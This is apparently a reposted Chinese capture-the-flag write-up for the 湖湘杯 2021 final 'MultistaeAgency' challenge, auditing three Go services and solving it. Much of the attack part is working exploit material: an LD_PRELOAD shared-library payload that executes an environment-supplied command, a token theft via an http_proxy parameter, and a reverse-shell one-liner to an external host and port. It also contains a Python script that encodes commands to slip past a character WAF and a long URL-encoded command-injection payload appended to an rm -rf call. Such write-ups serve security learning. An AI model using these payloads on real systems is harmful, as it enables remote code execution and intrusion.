[湖湘杯 2021 final]MultistaeAgency

发布时间:2023年12月18日

题目是给了源码,我们先来看web的main.go

package main

import (
	"bytes"
	"crypto/md5"
	"encoding/json"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"math/rand"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)

var SecretKey = ""

type TokenResult struct {
	Success string `json:"success"`
	Failed string `json:"failed"`
}


const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
	b := make([]byte, n)
	for i := range b {
		b[i] = letterBytes[rand.Intn(len(letterBytes))]
	}
	return string(b)
}

func getToken(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	fromHostList := strings.Split(r.RemoteAddr, ":")
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	r.Header.Set("Fromhost", fromHost)
	command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
	for k, _ := range values {
		command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

	}
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	//res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	res := TokenResult{}
	if err = command.Wait(); err != nil {
		res.Failed = outerr.String()
	}

	res.Success = outinfo.String()

	msg, _ := json.Marshal(res)
	w.Write(msg)

}

type ListFileResult struct {
	Files []string `json:"files"`
}

// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {

	values := r.URL.Query()
	token := values.Get("token")
	fromHostList := strings.Split(r.RemoteAddr, ":")
	fromHost := ""
	if len(fromHostList) == 2 {
		fromHost = fromHostList[0]
	}
	// 验证token
	if token != "" && checkToken(token, fromHost) {
		dir := filepath.Join("uploads",token)
		files, err := ioutil.ReadDir(dir)
		if err == nil {
			var fs []string
			for _, f := range files {
				fs = append(fs, f.Name())
			}

			msg, _ := json.Marshal(ListFileResult{Files: fs})
			w.Write(msg)

		}

	}

}

type UploadFileResult struct {
	Code string `json:"code"`
}

func uploadFile(w http.ResponseWriter, r *http.Request) {

	if r.Method == "GET" {
		fmt.Fprintf(w, "get")
	} else {
		values := r.URL.Query()
		token := values.Get("token")
		fromHostList := strings.Split(r.RemoteAddr, ":")
		fromHost := ""
		if len(fromHostList) == 2 {
			fromHost = fromHostList[0]
		}
		//验证token
		if token != "" && checkToken(token, fromHost) {
			dir := filepath.Join("uploads",token)
			if _, err := os.Stat(dir); err != nil {
				os.MkdirAll(dir, 0766)
			}

			files, err := ioutil.ReadDir(dir)
			if len(files) > 5 {
				command := exec.Command("curl", "127.0.0.1:9091/manage")
				command.Start()

			}

			r.ParseMultipartForm(32 << 20)
			file, _, err := r.FormFile("file")
			if err != nil {
				msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
				w.Write(msg)
				return
			}
			defer file.Close()
			fileName := RandStringBytes(5)
			f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
			if err != nil {
				fmt.Println(err)
				return
			}
			defer f.Close()
			io.Copy(f, file)
			msg, _ := json.Marshal(UploadFileResult{Code: fileName})
			w.Write(msg)
		} else {
			msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
			w.Write(msg)
		}

	}
}

func checkToken(token, ip string) bool {
	data := []byte(SecretKey + ip)
	has := md5.Sum(data)
	md5str := fmt.Sprintf("%x", has)
	return md5str == token
}

func IndexHandler (w http.ResponseWriter, r *http.Request) {
	http.ServeFile(w, r,"dist/index.html")
}

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey = string(content)
	http.HandleFunc("/", IndexHandler)
	fs := http.FileServer(http.Dir("dist/static"))
	http.Handle("/static/", http.StripPrefix("/static/", fs))
	http.HandleFunc("/token", getToken)
	http.HandleFunc("/upload", uploadFile)
	http.HandleFunc("/list", listFile)
	log.Print("start listen 9090")
	err = http.ListenAndServe(":9090", nil)
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}

我们按照main主函数分析

  1. /token路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量
  2. /upload路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名,文件名是由RandStringBytes函数生成五位随机字符
  3. /list路由下调用listFile函数,根据传参的token值进行验证并列出上传文件

看proxy的main.go,开放在 8080 端口

package main

import (
	"github.com/elazarl/goproxy"
	"io/ioutil"
	"log"
	"net/http"
	"os"
)

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey := string(content)
	proxy := goproxy.NewProxyHttpServer()
	proxy.Verbose = true
	proxy.OnRequest().DoFunc(
		func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
			r.Header.Set("Secretkey",SecretKey)
			return r,nil
		})
	log.Print("start listen 8080")
	log.Fatal(http.ListenAndServe(":8080", proxy))
}

继续分析server的main.go

package main

import (
	"bytes"
	"crypto/md5"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"unicode"
)

// 检查来源ip为本地才继续执行

var SecretKey = ""

func getToken(w http.ResponseWriter, r *http.Request) {
	header := r.Header
	token := "error"
	var sks []string = header["Secretkey"]
	sk := ""
	if len(sks) == 1 {
		sk = sks[0]
	}
	var fromHosts []string = header["Fromhost"]
	fromHost := ""
	if len(fromHosts) == 1 {
		fromHost = fromHosts[0]
	}
	if fromHost != "" && sk != "" && sk == SecretKey {
		data := []byte(sk + fromHost)
		has := md5.Sum(data)
		token = fmt.Sprintf("%x", has)
	}
	fmt.Fprintf(w, token)
}

func manage(w http.ResponseWriter, r *http.Request) {
	values := r.URL.Query()
	m := values.Get("m")
	if !waf(m) {
		fmt.Fprintf(w, "waf!")
		return
	}
	cmd := fmt.Sprintf("rm -rf uploads/%s", m)
	fmt.Println(cmd)
	command := exec.Command("bash", "-c", cmd)
	outinfo := bytes.Buffer{}
	outerr := bytes.Buffer{}
	command.Stdout = &outinfo
	command.Stderr = &outerr
	err := command.Start()
	res := "ERROR"
	if err != nil {
		fmt.Println(err.Error())
	}
	if err = command.Wait(); err != nil {
		res = outerr.String()
	} else {
		res = outinfo.String()

	}
	fmt.Fprintf(w, res)
}

func waf(c string) bool {
	var t int32
	t = 0
	blacklist := []string{".", "*", "?"}
	for _, s := range c {
		for _, b := range blacklist {
			if b == string(s) {
				return false
			}
		}
		if unicode.IsLetter(s) {
			if t == s {
				continue
			}
			if t == 0 {
				t = s
			} else {
				return false
			}
		}
	}

	return true
}

func main() {
	file, err := os.Open("secret/key")
	if err != nil {
		panic(err)
	}
	defer file.Close()
	content, err := ioutil.ReadAll(file)
	SecretKey = string(content)
	http.HandleFunc("/", getToken)     //设置访问的路由
	http.HandleFunc("/manage", manage) //设置访问的路由
	log.Print("start listen 9091")
	err = http.ListenAndServe(":9091", nil) //设置监听的端口
	if err != nil {
		log.Fatal("ListenAndServe: ", err)
	}
}
  1. /路由下调用getToken函数,检查来源ip为本地才继续执行
  2. /manage路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/拼接赋值给cmd也就是要执行的命令,然后bash执行

代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
在这里插入图片描述
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
在这里插入图片描述
所以我们上传后,payload如下

/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /

在这里插入图片描述
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)

我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
在这里插入图片描述那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage命令执行即可
bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'url编码一下,反弹shell
在这里插入图片描述

绕过waf的脚本如下

import sys
from urllib.parse import quote

# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:
    a = sys.argv[1]

out = r"${!#}<<<{"

for c in "bash -c ":
    if c == ' ':
        out += ','
        continue
    out += r"\$\'\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[2:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
    out += r"\'"

out += r"\$\'"
for c in a:
    out += r"\\"
    out += r"$(($((${##}<<${##}))#"
    for binchar in bin(int(oct(ord(c))[2:]))[2:]:
        if binchar == '1':
            out += r"${##}"
        else:
            out += r"$#"
    out += r"))"
out += r"\'"

out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m是会与前面rm命令拼接,所以用分号;隔开,构造;cat /flag
然后分号编码一下为%3b,payload如下

curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

得到flag
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/134918442
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。